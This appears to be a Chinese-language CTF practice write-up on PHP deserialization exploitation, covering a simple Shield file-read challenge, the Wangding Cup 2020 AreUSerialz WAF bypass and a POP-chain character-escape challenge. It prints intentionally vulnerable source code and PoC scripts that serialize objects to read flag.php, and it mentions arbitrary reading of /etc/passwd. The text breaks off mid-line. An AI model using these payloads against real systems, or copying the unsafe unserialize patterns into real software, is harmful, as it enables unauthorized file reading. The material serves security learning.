第1题:简单的反序列化利用
题目地址:120.55.195.183/MyPractice/php-unserialize/test0/index.php。云服务器过期了,源码如下。
(1)接收用户输入文件 index.php
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
//入门第一题
//class:只有一个class,不涉及class之间的调用
//跳板方法:是class中的readfile()方法,不是class中的__destruct()
require_once('class.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
(2)class.php
<?php
highlight_file(__FILE__);
//flag is in flag.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
(3)poc.php,自行编写flag.php
<?php
highlight_file(__FILE__);
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$x = new Shield();
$x->file = "flag.php";
echo serialize($x);
第2题:绕过WAF的反序列化利用
来源[网鼎杯 2020 青龙组]AreUSerialz。题目地址:120.55.195.183/MyPractice/php-unserialize/test1/index.php。
(1)index.php
<?php
//入门第2题
//[网鼎杯 2020 青龙组]AreUSerialz。考察点:单类class的WAF绕过。
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
(2)poc.php:弱类型-绕过操作数限制,Public类型-绕过Private类型。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
}
$x = new FileHandler();
$x->op=2;
$x->filename="flag.php";
echo serialize($x);
?>
第3题:pop利用链-字符逃逸
涉及class之间的调用。安恒春季赛Esunserialize,在本地搭建,源码是之前比赛保存在本地的,BuuCTF上面没有该题目,本地起一个Docker容器作为题目环境。
魔术方法__toString():当我们调试程序时,需要知道是否得出正确的数据。比如打印一个对象时,看看这个对象都有哪些属性,其值是什么。如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
题目源码如下
<?php
show_source("unserialize.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}
function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}
class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}
class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c; }}
class C{
public $c;
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice'; }}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
首先寻找跳板函数,发现Class C中存在file_get_contents($this->c)可以读取文件内容并输出,所以考虑构造Class C以及c变量/etc/passwd实现任意文件读取。要执行该方法,必须先执行__toString()魔术方法,它是在直接输出对象引用时自动调用的方法。
$c = new C()
$c->c = "flag.php"
寻找echo操作,发现Class B中存在echo。要想执行Class B中的echo $c,就必须执行Class B的__destruct()销毁函数,就必须构造Class B的实例对象。
$b = new B();
要想执行Class C的跳板函数file_get_contents(),就必须执行Class B的echo函数,就必须执行Class B的销毁函数,就必须实例化Class B。可控的序列化对象是Class A,可以把Class B作为Class A的一个属性。
$c =